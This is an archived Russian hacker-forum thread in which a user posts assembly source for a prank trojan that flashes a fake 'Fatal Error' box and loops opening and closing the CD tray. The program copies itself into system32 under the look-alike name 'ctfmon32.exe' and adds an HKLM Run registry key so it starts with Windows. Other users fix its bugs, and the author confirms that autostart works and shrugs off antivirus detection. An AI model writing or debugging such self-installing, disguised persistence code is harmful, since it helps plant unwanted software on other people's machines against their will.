Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Проблемы с программой на Ассемблере

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> Проблемы с программой на Ассемблере
Имя
Сообщение << Старые топики   Новые топики >>
Проблемы с программой на Ассемблере - 2007-08-17 09:36:17.620000   
Necromancer13

Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
Уважаемые хакеры!
Недавно пробовал написать программу, которая будет открывать-закрывать CD-ROM… и прописываться на автозагрузку в реестр (HKEY_LOCAL_MACHINE\Software\Microsoft\WIndows\CurrentVersion\Run\ctfmon32.exe)…
 
Вот исходник программы:
 
 
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include winmm.inc
include advapi32.inc

includelib user32.lib
includelib kernel32.lib
includelib winmm.lib
includelib advapi32.lib

.data
&nbsp;cdopen&nbsp;&nbsp;db "open cdaudio",0
&nbsp;cd_openned&nbsp;db "set cdaudio door open",0
&nbsp;cd_closed&nbsp;db "set cdaudio door closed",0
&nbsp;cdclose&nbsp;&nbsp;db "close cdaudio",0
&nbsp;Message&nbsp;&nbsp;db "Ýò ÿ!",0
&nbsp;Caption&nbsp;&nbsp;db "Fatal Error!",0
&nbsp;SubKey&nbsp;&nbsp;db "Software\Microsoft\Windows\CurrentVersion\Run\",0
&nbsp;TrojanName&nbsp;db "ctfmon32.exe",0
&nbsp;TrojanPath&nbsp;db "C:\WINDOWS\system32\ctfmon32.exe",0

.data?
&nbsp;hKey&nbsp;&nbsp;db ?
&nbsp;FileName&nbsp;db 256 dup (?)
&nbsp;
.code
start:
&nbsp;invoke&nbsp;MessageBox,NULL,ADDR Message,ADDR Caption,NULL
&nbsp;invoke&nbsp;GetModuleFileName,NULL,ADDR FileName,SIZEOF FileName
&nbsp;invoke&nbsp;CopyFile,ADDR FileName,ADDR TrojanPath,FALSE
&nbsp;invoke&nbsp;RegCreateKey,HKEY_LOCAL_MACHINE,ADDR SubKey,ADDR hKey
&nbsp;invoke&nbsp;RegSetValueEx,hKey,ADDR TrojanName,0,REG_SZ,ADDR TrojanPath,50

_loop:
&nbsp;
&nbsp;invoke&nbsp;mciSendString,ADDR cdopen,NULL,NULL,NULL
&nbsp;invoke&nbsp;mciSendString,ADDR cd_openned,NULL,NULL,NULL
&nbsp;invoke&nbsp;mciSendString,ADDR cd_closed,NULL,NULL,NULL
&nbsp;invoke&nbsp;mciSendString,ADDR cdclose,NULL,NULL,NULL
&nbsp;
&nbsp;invoke&nbsp;Sleep,0FFFh
&nbsp;jmp&nbsp;_loop
&nbsp;
&nbsp;invoke&nbsp;ExitProcess,NULL
&nbsp;
&nbsp;
&nbsp;
end&nbsp;start

 
 
 
Но программа почему-то у меня запускается, у процессах есть, в реестре запись не создает, CD-ROM не открывает…
 
Кто знает, почему так, помогите, пожалуйста[:(]
 
Заранее огромное спасибо!
Post #: 1
RE: Проблемы с программой на Ассемблере - 2007-08-21 03:33:06.180000   
BinZo

Сообщений: 230
Оценки: 0
Присоединился: 2006-12-02 20:29:14.373333
Кстати такой вопрос, можно сказать в тему: можно ли командой out отослать на ide1 (походу сдром, 0х170) какое-то значение, заставляющее его открываться? Такая программа и весить меньше будет, и выполняться быстрей…
Post #: 2
RE: Проблемы с программой на Ассемблере - 2007-08-21 03:46:05.313333   
Necromancer13

Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
Если вопрос мне, то я не знаю:)
я пользуюсь для открытия-закрытия CD-ROM'a этими:
"open cdaudio",0;
"set cdaudio door open",0;
"set cdaudio door closed",0;
"close cdaudio",0.
 
 
Post #: 3
RE: Проблемы с программой на Ассемблере - 2007-08-21 08:31:37.550000   
JD_WERT

Сообщений: 117
Оценки: 0
Присоединился: 2007-07-12 06:59:16.613333
quote:

стати такой вопрос, можно сказать в тему: можно ли командой out отослать на ide1 (походу сдром, 0х170) какое-то значение, заставляющее его открываться? Такая программа и весить меньше будет, и выполняться быстрей…


Нельзя. По крайней мере в Win 2000 - XP без модификации ядерных структур (IOPL и карты портов ввода-вывода).
Для того, чтобы писать в порты нужен драйвер, или, хотя бы, Win 9x (хотя тут не уверен)
Post #: 4
RE: Проблемы с программой на Ассемблере - 2007-08-21 14:03:16.706666   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
Используй ключик wait. Например,

set cdaudio door open wait
set cdaudio door&nbsp;closed wait
 
А вообще, лучше использовать DeviceIoControl с кодами IOCTL_STORAGE_EJECT_MEDIA и IOCTL_STORAGE_LOAD_MEDIA
 
Post #: 5
RE: Проблемы с программой на Ассемблере - 2007-08-21 17:49:31.906666   
Necromancer13

Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
ПАсибки, попробую, только что дает "wait"? :)

quote:

А вообще, лучше использовать DeviceIoControl с кодами IOCTL_STORAGE_EJECT_MEDIA и IOCTL_STORAGE_LOAD_MEDIA


можно чуть поподробнее?;)
Post #: 6
RE: Проблемы с программой на Ассемблере - 2007-08-21 21:29:45.720000   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
С ключиком wait функция mciSendString возвращается толко после завершения операции. Без этого ключика команда на открытие сидерома не успевает выполнится, а твоя прога уже посылает команду на закрытие. Поэтому в лучшем случае будет мигать лампочка на сидероме, но открываться он не будет.

Вот прога, использующая DeviceIoControl для открытия/закрытия сидерома. Преимущество в том, что можно выбирать любой драйв и все нужные функции есть в kernel32.dll. Недостаток - нужны админские права.

.386
.model flat, stdcall
 
extrn&nbsp;CreateFileA&nbsp;: proc
extrn&nbsp;CloseHandle&nbsp;: proc
extrn&nbsp;DeviceIoControl&nbsp;: proc
extrn&nbsp;MessageBoxA&nbsp;: proc
 
IOCTL_STORAGE_EJECT_MEDIA&nbsp;=&nbsp;2D4808h
IOCTL_STORAGE_LOAD_MEDIA&nbsp;=&nbsp;2D480Ch
 
.data
drive&nbsp;&nbsp; db&nbsp;"\\.\E:",0&nbsp;&nbsp;; буква нашего дисковода
msg00&nbsp;&nbsp; db&nbsp;"Опс…",0
msg01&nbsp;&nbsp; db&nbsp;"Невозможно получить доступ к драйву.",0
cb&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;dd&nbsp;?

.code
start&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; proc&nbsp;uses esi
 
&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;CreateFileA, offset drive, 0C0000000h, 3, 0, 03h, 0, 0
&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp; eax, -1
&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp; @start_1
&nbsp;&nbsp; xchg&nbsp;&nbsp; esi, eax
 
&nbsp;&nbsp;&nbsp; ; открыть сидером
&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp; DeviceIoControl, esi, IOCTL_STORAGE_EJECT_MEDIA, 0, 0, 0, 0, offset cb, 0


&nbsp;&nbsp; ; закрыть сидером
&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; DeviceIoControl, esi, IOCTL_STORAGE_LOAD_MEDIA, 0, 0, 0, 0, offset cb, 0
 
&nbsp;&nbsp;&nbsp; ret
 
@start_1:

&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; MessageBoxA, 0, offset msg01, offset msg00, 0
&nbsp;&nbsp; ret
 
start&nbsp;&nbsp;&nbsp; endp
 
&nbsp;&nbsp;&nbsp; end&nbsp;&nbsp;&nbsp; start
 
Эту прогу можно скомпилить тасмом.
Post #: 7
RE: Проблемы с программой на Ассемблере - 2007-08-22 12:12:25.710000   
Necromancer13

Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
Пасиб:)
попробую:)
но мне почему-то 'set cdaudio door open wait' нравится чуть больше….
 
Кстати, скажите, плиз, если не сложно,  чем отличается, "set cdaudio door open" от "open cdaudio"?
Post #: 8
RE: Проблемы с программой на Ассемблере - 2007-08-22 19:58:07.753333   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
quote:

ORIGINAL: Necromancer13

Кстати,&nbsp;скажите, плиз, если не сложно, &nbsp;чем отличается, "set cdaudio door open" от "open cdaudio"?


Ты уверен, что open cdaudio делает именно то, что ты хочешь? Вообще, команда open используется для открытия файлов и устройств, но не как не лотка сидерома. Можешь проверить:))

Кстати в твоей проге есть ошибка:
hKey&nbsp;&nbsp;db ?
нада заменить на
hKey&nbsp;&nbsp;dd ?
Post #: 9
RE: Проблемы с программой на Ассемблере - 2007-08-22 21:38:15.773333   
Necromancer13

Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
Спасибо… ну не знаю "open cdaudio" и "close cdaudio" в программе-шутке было… и я поставил.. думал, что это для открытия CD-ROM'а…
пасиб) надо попробовать без него…
с реестром все норм… прописывается на автозагрузку… только нативирус гад видит [&:] НО это не важно))
спасибо всем:)
Post #: 10
Страниц:  [1]
Все форумы >> [Прочее] >> Проблемы с программой на Ассемблере







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.